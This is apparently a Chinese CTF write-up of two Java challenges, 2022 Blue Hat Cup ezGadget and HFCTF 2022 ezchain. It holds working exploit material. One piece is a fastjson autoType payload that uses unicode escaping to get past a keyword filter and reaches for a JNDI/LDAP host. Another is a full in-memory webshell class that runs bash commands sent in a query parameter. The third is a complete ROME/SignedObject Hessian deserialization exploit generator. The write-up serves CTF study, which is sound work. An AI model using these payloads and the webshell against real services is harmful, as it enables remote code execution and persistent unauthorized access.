玩玩几道喜提爱抚

2022 蓝帽杯ezGadget

题目给的是一个jar包用的是springboot+tomcat

用idea反编译后找到其中的JSONController,还是很容易的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.spring;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
@ResponseBody
@RequestMapping({"/"})
public String hello() {
return "Your key is:" + secret.getKey();
}

@ResponseBody
@RequestMapping({"/json"})
public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
Pattern p = Pattern.compile(pattern, 2);
boolean StrMatch = p.matcher(input).matches();
if (StrMatch) {
return "Hacker get out!!!";
}

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(input);
}

return "hello";
}
}

接着是调用的secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.spring;

import org.apache.commons.lang3.RandomStringUtils;

public class secret {
private static final String Key = RandomStringUtils.randomAlphanumeric(16);

private secret() {
}

public static String getKey() {
return Key;
}
}

分析

满足2个逻辑才能进入/json路由触发parseObject完成fastJson注入

  1. 满足hashCode,有点php里弱比较那味了,但其实在cc7里遇到过这个问题如何构造呢?
    /HF=Ge|
    |72*31+70 = 71*31+101|

1
2
3
4
5
from urllib import parse  
#BGqt7yG0PmN9uJZP
while 1:
key=input("#")
print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))

访问根路由会返回那个key,然后我们再构造一个即可绕过
最终生成: Afqt7yG0PmN9uJZP
然后向input里传入恶意fastJson字符串即可
2. but不能出现rmi,ldap,\x(不能用16进制),直接用unicode绕过即可这儿是fastjson 1.2.62,然后存在tomcat9.x,本地复现就随便挑了个JDK打了,选了191以上的jdk

有tomcat直接一把梭~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /json HTTP/1.1

Host: localhost:8080

DNT: 1

User-Agent: dev

Cookie: Phpstorm-99ea2660=a721c90b-be3c-45eb-8643-6fb7a6cf4bc0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Content-Length: 373



str=Afqt7yG0PmN9uJZP&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"%0aldap://127.0.0.1:50389/944331"}

22 hfctf ezchain

给一个docker文件提示不出网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
version: '2.4'  
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
- ./flag:/flag:ro
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default

然后给了题目的jar包,老规矩反编译看看核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.ezchain;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;

public class Index {
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}

static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String query = t.getRequestURI().getQuery();
Map<String, String> queryMap = this.queryToMap(query);
String response = "Welcome to HFCTF 2022";
if (queryMap != null) {
String token = (String)queryMap.get("token");
String secret = "HFCTF2022";
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
InputStream is = t.getRequestBody();

try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var9) {
response = "oops! something is wrong";
}
} else {
response = "your token is wrong";
}
}

t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}

public Map<String, String> queryToMap(String query) {
if (query == null) {
return null;
} else {
Map<String, String> result = new HashMap();

for(String param : query.split("&")) {
String[] entry = param.split("=");
if (entry.length > 1) {
result.put(entry[0], entry[1]);
} else {
result.put(entry[0], "");
}
}

return result;
}
}
}
}

其中明显就是
Hessian2Input input = new Hessian2Input(is); input.readObject(); 一个裸的hessian2反序列化 但是前面还是要去绕过一下那个hashCodeHFCTF200p`
然后就是二次反序列化的问题了

先添加依赖,把jar包放到一个lib目录下!

因为无回显,先写个原生内存🐎抓一下context来进行回显本类一定要继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.net.httpserver.HttpExchange;  
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;

public class memshell extends AbstractTranslet implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
String[] split = query.split("=");
String response = "SUCCESS"+"\n";
if (split[0].equals("shell")) {
String[] cmd = new String[]{"bash","-c",split[1]};
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int flag=-1;
while((flag=inputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,flag);
}
response += byteArrayOutputStream.toString();
byteArrayOutputStream.close();
}
httpExchange.sendResponseHeaders(200,response.length());
OutputStream outputStream = httpExchange.getResponseBody();
outputStream.write(response.getBytes());
outputStream.close();
}
public memshell(){ //public和default的区别 public对所有类可见;default对同一个包内可见;templatlmpl默认实例化使用public memshell()
try{
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
threadsFeld.setAccessible(true);
Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
Thread thread = threads[1];

Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object object = targetField.get(thread);

Field this$0Field = object.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
object = this$0Field.get(object);

Field contextsField = object.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
object = contextsField.get(object);

Field listField = object.getClass().getDeclaredField("list");
listField.setAccessible(true);
java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
object = linkedList.get(0);

Field handlerField = object.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(object,this);
}catch(Exception exception){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

有了前面的rome链的基础,手写一个二次反序列化加载任意类的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package me.eviden.test;  

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import me.eviden.util.util;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class HFEXP {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//简易计算机弹出~
// ClassPool classPool = ClassPool.getDefault();
// classPool.appendClassPath(AbstractTranslet);
// CtClass ctClass = classPool.makeClass("HashTablePoc");
// ctClass.setSuperclass(classPool.get(AbstractTranslet));
// ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
//加载内存马编译后的class文件
byte[] bytes = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\TwoSer\\Rome\\target\\classes\\me\\eviden\\payload\\MemShell.class"));
// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setField(templateImpl,"_bytecodes", new byte[][]{bytes});
util.setField(templateImpl,"_name", "test");
util.setField(templateImpl,"_tfactory",null);
// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);

// 创建BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
util.setField(badAttributeValueExpException, "val", toStringBean);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey aPrivate = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD5withRSA"); ///
SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean = new EqualsBean(String.class,"123");
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"1");
util.setField(equalsBean,"beanClass",ToStringBean.class);
util.setField(equalsBean,"obj",toStringBean1);

serialize(hashMap);
// unserialize("hf.ser");
// // 序列化
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
// objectOutputStream.writeObject(hashMap);
// objectOutputStream.close();
//
// // 反序列化
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
// objectInputStream.readObject();
// objectInputStream.close();
}
public static void serialize(Object object) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("hf.ser");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
hessian2Output.writeObject(object);
hessian2Output.flush(); //刷新缓冲区,写字符时候用到
hessian2Output.close(); //关闭流对象,关闭前会刷新一次缓冲区
ByteArrayOutputStream ser = new ByteArrayOutputStream();
Hessian2Output hessianOutput=new Hessian2Output(ser);
hessianOutput.writeObject(object);
hessianOutput.close();
String base = Base64.getEncoder().encodeToString(ser.toByteArray());
System.out.println(base);
}
public static void unserialize(String filename) throws Exception {
FileInputStream fileInputStream = new FileInputStream(filename);
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
hessian2Input.readObject();
}

}

Over!
本题考点特别的综合~